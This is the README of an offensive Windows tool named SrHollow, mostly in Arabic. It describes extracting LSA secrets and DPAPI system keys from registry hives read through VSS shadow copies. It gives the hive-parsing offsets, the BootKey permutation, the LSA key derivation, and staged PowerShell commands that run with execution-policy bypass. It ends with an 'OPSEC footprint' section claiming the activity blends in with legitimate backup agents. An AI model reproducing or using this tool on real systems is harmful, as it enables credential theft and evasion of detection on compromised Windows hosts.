
يستخرج أسرار LSA ومفاتيح DPAPI من خلايا سجل Windows عبر نسخ VSS الظلية الموجودة أو المنشأة حديثًا، مع محلل regf مضمّن وفك تشفير AES-256.
استخراج أسرار LSA، وإعادة استخدام نسخة ظل VSS موجودة مسبقًا + محلل regf مضمّن + فك تشفير LSA بـ AES-256 عبر bcrypt.dll.
\GLOBAL?? عبر NtOpenDirectoryObject + NtQueryDirectoryObject. اختر HarddiskVolumeShadowCopyN ذا الرقم الأعلى.SRSetRestorePointW(BEGIN_SYSTEM_CHANGE, DEVICE_DRIVER_INSTALL) من SrClient.dll.SeBackupPrivilege في الرمز المميز الحالي (AdjustTokenPrivileges).CreateFileW("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\config\{SECURITY,SYSTEM}", FILE_FLAG_BACKUP_SEMANTICS) واقرأ إلى byte[].regf المضمّن يحلل الخلية: الكتلة الأساسية، أنواع الخلايا nk/vk/lf/lh/li/ri/db/sk. تخطيط KeyNode، الأعلام @0x02، قائمة المفاتيح الفرعية @0x1C، قائمة القيم @0x28، مفتاح الأمان @0x2C، إزاحة الفئة @0x30، طول الاسم u16 @0x48، طول الفئة u16 @0x4A (كان هذا خطأً في المحاولة الأولى — وثائق مايكروسوفت نفسها غامضة هنا)، الاسم @0x4C.Class بترميز UTF-16 hex لـ ControlSet00N\Control\Lsa\{JD, Skew1, GBG, Data} → 16 بايت خام → أعد الترتيب بـ [8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7].Policy\PolEKList\(default) (172 بايت): salt = bytes[0x1C..0x3C]؛ tmpKey = SHA-256(BootKey || salt * 1000)؛ pt = AES-256-CBC-decrypt(bytes[0x3C..], tmpKey, IV=0)؛ مفتاح LSA = pt[68..100].Policy\Secrets\<name>\CurrVal\(default): نفس التخطيط، مع تمديد الملح باستخدام مفتاح LSA بدلًا من BootKey.DPAPI_SYSTEM: bytes[4..24] = MachineKey، bytes[24..44] = UserKey. هذه تفك تشفير كل مفتاح رئيسي DPAPI بنطاق SYSTEM على المضيف.SrHollow/
├── README.md <- you are here
├── src/
│ └── SrHollow.cs <- inline regf parser + LSA AES crypto (~350 LOC, single file)
└── stages/
├── Stage1-Recon.ps1 <- read-only shadow enumeration
├── Stage1b-ReadShadowHives.ps1 <- auto-detect / auto-create shadow + slurp hives
├── Stage2-Decrypt.ps1 <- BootKey + LSA key + all secrets
└── Stage3-Report.ps1 <- formatted operator report with OPSEC footprint
يحتوي src/SrHollow.cs على صفر تبعيات بخلاف System.Security.Cryptography (التي تتوسط بدورها إلى bcrypt.dll). يُترجم كما هو عبر Add-Type أو csc.exe.
PowerShell بصلاحيات مرتفعة
# 1. Read-only recon, see what shadows already exist
powershell.exe -ep bypass -File .\stages\Stage1-Recon.ps1
# 2. Extract SECURITY + SYSTEM from the newest existing shadow
# (creates one via SRSetRestorePointW if none exist)
powershell.exe -ep bypass -File .\stages\Stage1b-ReadShadowHives.ps1
# 3. Derive BootKey + LSA key + decrypt every secret
powershell.exe -ep bypass -File .\stages\Stage2-Decrypt.ps1
# 4. (Optional) formatted operator report
powershell.exe -ep bypass -File .\stages\Stage3-Report.ps1
يتطلب: مسؤولًا محليًا (لـ SeBackupPrivilege)، وخدمة Volume Shadow Copy قيد التشغيل أو قابلة للتشغيل (افتراضيًا على Windows 10/11).
الإشارات القابلة للنسب المتروكة عندما تكون نسخة الظل موجودة بالفعل:
CreateFileW واحد على \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...AdjustTokenPrivileges واحد يفعّل SeBackupPrivilegeSHA-256 + AES-CBC قياسيان عبر bcrypt.dll (في وضع المستخدم، غير ملحوظين)هذا هو نفس نمط فتح الملفات الذي تستخدمه معظم وكلاء النسخ الاحتياطي الشرعيين.